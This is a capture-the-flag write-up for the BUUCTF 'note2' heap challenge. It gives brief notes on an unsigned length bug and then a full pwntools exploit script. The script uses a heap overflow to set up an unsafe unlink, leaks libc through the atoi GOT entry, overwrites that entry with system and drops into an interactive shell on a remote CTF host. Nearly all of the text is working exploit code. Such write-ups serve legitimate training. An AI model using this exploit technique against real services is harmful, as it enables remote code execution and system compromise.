- free第二块,再创建一个0大小堆块相当于堆溢出第二块、第三块,修复fakechunk尾部
- unlink
- 泄露GOT、修改GOT表数据
笔记:
// len-1 (-1 与 unsigned 可以关联上)
// 如果len=0,那么输入长度无限制
//
// 溢出检查:
// 1.变量逻辑
// 2.变量类型
EXP
整体思路:
- 利用堆溢出制造unlink
- 泄露GOT、修改GOT劫持
#coding=utf-8
from pwn import *
context.log_level="debug"
context.arch="amd64"
isLocal=0
filename="/root/note2"
if isLocal:
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
p=process(filename)#,env={"LD_PRELOAD" : "/lib/x86_64-linux-gnu/ld-2.23.so"}
else :
p=remote("node4.buuoj.cn",28612)
libc=ELF("./x64/libc-2.23_buuctf.so")
elf=ELF(filename)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
pause()
def malloc(size,content):
ru("option--->>")
sl('1')
ru("Input the length of the note content:(less than 128)")
sl(str(size))
ru("Input the note content:")
sl(content)
def dump(idx):
ru("option--->>")
sl('2')
ru("Input the id of the note:")
sl(str(idx))
def edit(index,overORappend,content):
ru("option--->>")
sl('3')
ru("Input the id of the note:")
sl(str(index))
ru("do you want to overwrite or append?[1.overwrite/2.append]")
sl(str(overORappend))
sl(content)
def free(index):
ru("option--->>")
sl('4')
ru("Input the id of the note:")
sl(str(index))
ptr=0x000000000602120
fd=ptr-0x18
bk=ptr-0x10
ru("Input your name:")
sl("test")
ru("Input your address:")
sl("hello")
fake_chunk=p64(0)+p64(0xa1)#把自己当成top chunk(pre size=0)
fake_chunk+=p64(fd)+p64(bk)#fd bk
#fake_chunk+=p64(0)*2#user data
#fake_chunk+=p64(0x30)+p8(0x90)#next chunk size head
malloc(0x80,fake_chunk)
malloc(0,b"")#1
malloc(0x80,b"bbb")
free(1)#为了过掉malloc函数的 top chunk-presize检查
fake_chunk=b"\x00"*0x10+p64(0xa0)+p64(0x90)
malloc(0,fake_chunk)#0x60+0x10(heap_head)+0x10=0x80(from x20~xa0)
free(2)#unlink
atoi_got=elf.got["atoi"]
payload=b"a"*0x18+p64(atoi_got)
edit(0,1,payload)
dump(0)
leak_libc=u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
log.success("leak =>"+hex(leak_libc))
libc_base=leak_libc-libc.sym["atoi"]
libc.address=libc_base#set base
system_addr=libc.sym["system"]
payload=p64(system_addr)
edit(0,1,payload)
p.interactive()
